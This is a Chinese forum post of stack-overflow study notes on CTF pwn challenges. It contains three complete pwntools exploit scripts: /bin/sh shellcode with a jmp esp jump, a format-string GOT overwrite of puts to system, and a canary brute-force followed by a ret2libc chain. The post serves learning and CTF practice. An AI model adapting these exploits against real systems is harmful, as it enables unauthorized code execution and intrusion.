首页
社区
课程
招聘
[分享]栈溢出学习笔记
2017-12-21 15:31 6373

[分享]栈溢出学习笔记

2017-12-21 15:31
6373

0x00 前言

希望得到各位的指教。一是做个总结,二是做个备份。说来惭愧,思路都是7o8v师傅给的。特别感谢7o8v师傅的帮助。

 

题外:复现蒸米师傅《一步一步学rop》复现失败,猜测是栈的问题,我是调用start恢复栈的做法。这是我看到更为详尽的分析http://www.purpleroc.com/md/2016-02-25@Thinking-About-Level2.html

0x01 pwn1

这题是7o8v师傅丢给我的。特别的就是这题是静态链接。所以,got覆写就gg了。我们看下反编译代码:

 

 

溢出很明显,checksec一下,堆栈可执行。

 

 

我就想ret到jmp esp这条指令上,然后在ret之后放置shellcode。结果,不够长,gg

 

7o8v师傅告诉我的思路(frame faking),ret到jmp esp指令上,这样就跳到栈上,再在栈上布置合适的sub esp,再jmp esp

 

我失败的思路是在寄存器上找合适或相近的数据,再修改一下寄存器,用jmp 寄存器。然后没有合适的gadget。后面我就想通过ret到printf泄露出栈地址,再ret到mian。这样就可以计算出栈地址。 因为输入长度限制,跪了,exp如下:

#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *

#--------------------Setting------------------------
EXCV = './fram_faking'
context(log_level='debug')
context.clear(arch='i386')
e = ELF(EXCV)
io = process(EXCV)

#!c
# execve ("/bin/sh")
shellcode = "\x31\xc9"# xor ecx, ecx
shellcode += "\xf7\xe1"# mul ecx
shellcode += "\x51"# push ecx
shellcode += "\x68\x2f\x2f\x73\x68"# push 0x68732f2f
shellcode += "\x68\x2f\x62\x69\x6e"# push 0x6e69622f
shellcode += "\x89\xe3"# mov ebx, esp
shellcode += "\xb0\x0b"# mov al, 11
shellcode += "\xcd\x80"# int 0x80
jmp_addr = 0x080ac8ac

#gdb.attach(io)
io.recvuntil('me : ')
payload = shellcode
payload += 'A' * (44- len(shellcode))
payload += p32(jmp_addr)
payload +='\x83\xec0'# sub esp, 0x30
payload += '\xff\xe4'# jmp esp

io.sendline(payload)
io.interactive()

0x02 pwn2

这题还是7o8v师傅丢给我的。首先用ida打开,发现有两个洞

 

 

 

惯例checksec一下,发现只开了NX,其实在function函数手动设置了canary

 

格式化字符串来做

栈上保留了read+35的地址,我们只要%p就可以得到read函数的地址,进而算出system的地址。

 

 

这道题目的格式化字符串不是放在栈上而是放在.bss段中。师傅告诉我要用一个跳板,栈上有指针什么是指向栈上的,我第一想到的就是ebp,反正不是打远程机。其实两个字节两个字节写入比较好。好吧,是因为懒。然后我就修改main的ebp使其指向puts函数的got表。使用%n修改got表使其指向sytem函数。这样下次跳用puts("/bin/sh")就变成了system("/bin/sh")。exp如下:

#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
import sys
import requests

#--------------------Setting------------------------
EXCV = './pwn1_std'
HOST = '172.16.20.2'
PORT = 2111
context(log_level='debug')
#ENV = env={"LD_PRELOAD":"./libc_64.so.6"}
e = ELF(EXCV)

LOCAL = 1
REMOTE = 0
if LOCAL:
    io = process(EXCV)
    #io = gdb.debug([EXCV])
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
if REMOTE:
    io = remote(HOST,PORT)
    libc = ELF('libc-2.23.so')

#---------------------Data-------------------------
puts_got_addr = 0x0804b028
sys_off = libc.symbols['system']
read_off = libc.symbols['read']
sys_read_off = sys_off - read_off

#---------------------Code-------------------------
#  get system_addr
io.recvuntil('>> ')
io.sendline('1')
io.recvuntil('>> ')
io.sendline('1')
payload = '%p' #get_read_addr
io.sendline(payload)
io.recvuntil('is :')
read_addr = eval(io.recv(10)) - 35
system_addr = sys_read_off + read_addr
print hex(system_addr)
system_addr_low = system_addr % 0x10000
system_addr_high = system_addr /0x10000 % 0x100
#  modify ebp   to puts_got
io.recvuntil('>> ')
io.sendline('1')
payload = '%'+str(puts_got_addr)+'c'
payload += '%14$n'
io.sendline(payload)
# modify puts_got to system_addr_low
io.recvuntil('>> ')
io.sendline('1')
payload = '%'+str(system_addr_low)+'c'
payload += '%42$hn'
io.sendline(payload)
# modify puts_got to system_addr_low
io.recvuntil('>> ')
io.sendline('1')
payload = '%'+str(0x2A)+'c'
payload += '%14$hhn'
io.sendline(payload)
# modify puts_got to system_addr_high
io.recvuntil('>> ')
io.sendline('1')
payload = '%'+str(system_addr_high)+'c'
payload += '%42$hhn'
io.sendline(payload)
#  put('/bin/sh\0') -> system('/bin/sh\0')
io.recvuntil('>> ')
io.sendline('1')
io.sendline('/bin/sh\0')
io.sendline('2')

io.interactive()

栈溢出

这种做法是7o8v师傅告诉我的,真的是刷新了我对栈溢出的看法。首先爆破出canary的值。然后使用'\x00'使login Success。然后进入leavemsg输入一个'a',而这个'a'刚好覆盖了上面payload 开头的'\x00',实现了任意长度的strcpy。覆盖了function的返回地址。最后sendline('0')引爆这个炸弹。exp如下:

#!/usr/bin/python
from pwn import *
import sys
import requests

#--------------------Setting------------------------
EXCV = './pwn1_std'
HOST = '172.16.20.2'
PORT = 2111
context(log_level='debug')
#ENV = env={"LD_PRELOAD":"./libc_64.so.6"}
e = ELF(EXCV)

LOCAL = 1
REMOTE = 0
if LOCAL:
    io = process(EXCV)
    #io = gdb.debug([EXCV])
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
if REMOTE:
    io = remote(HOST,PORT)
    libc = ELF('libc-2.23.so')

#--------------------Function-----------------------
def login(password):
    io.recvuntil('>> ')
    io.sendline('1')
    io.recvuntil('Your password :\n')
    io.send(password)

def admin():
    io.recvuntil('>> ')
    io.sendline('2')

def crack():
    random = ""
    for i in xrange(12):
        for x in xrange(1,256):
            if(x==10):
                x+=1
            password = random + chr(x)
            login(password+'\x00')
    #        raw_input()
            if("Failed" not in io.recvline()):
                print "success!"
                random += chr(x)
                io.sendline('1')
                break
    return random

#---------------------Data-------------------------
guest_begin = 0x8049014
write_plt = e.plt['write']
read_plt = e.plt['read']
puts_plt = e.plt['puts']
read_got = e.got['read']
read_off = libc.symbols['read']
bss = 0x804b100
main  =0x8049296
sys_off = libc.symbols['system']
sh_off = next(libc.search("/bin/sh"))

#---------------------Code-------------------------
admin()
random = crack()

#gdb.attach(io)
io.recvuntil('>> ')
io.sendline('1')
io.recvuntil('Your password :\n')
payload = '\x00'+'a'*0x47+ random[8:12] +p32(bss+1)*3
payload += p32(puts_plt)+p32(main)+p32(read_got)

io.sendline(payload)
io.recvuntil('>> ')
io.sendline('2')
io.recvuntil('Your message :\n')
io.send('a') #  replace above payload's '\x00'
io.recvuntil('>> ')
io.sendline('0')

io.recvuntil('Administrator !\n')
libc_read = u32(io.recv(4))
libc_base = libc_read - read_off
system = libc_base +sys_off
sh = libc_base + sh_off
libc_base

admin()
random = crack()

io.recvuntil('>> ')
io.sendline('1')
io.recvuntil('Your password :\n')
payload = '\x00'+'a'*0x47+ random[8:12] +p32(bss+1)*3
payload += p32(system) + p32(sh)*2

log.success('read addr : '+hex(libc_read))
log.success('libc base addr : '+hex(libc_base))
log.success('system : '+hex(system))
log.success('/bin/sh : '+hex(sh))

io.sendline(payload)
io.recvuntil('>> ')
io.sendline('2')
io.recvuntil('Your message :\n')
io.send('a')
io.recvuntil('>> ')
io.sendline('0')

io.interactive()

0x03 总结

  • 对知识点的理解不够深刻,花了一个月的时间尝试溢出scanf("%d"),尝试使用格式化字符串漏洞修改eip[笑哭]
  • 从7o8v师傅的exp中了解到栈溢出并不是只在输入发生的
  • 台上一分钟,台下十年功

0x04 参考资料

  • http://bobao.360.cn/learning/detail/3654.html
  • https://bbs.pediy.com/thread-213067.htm

阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回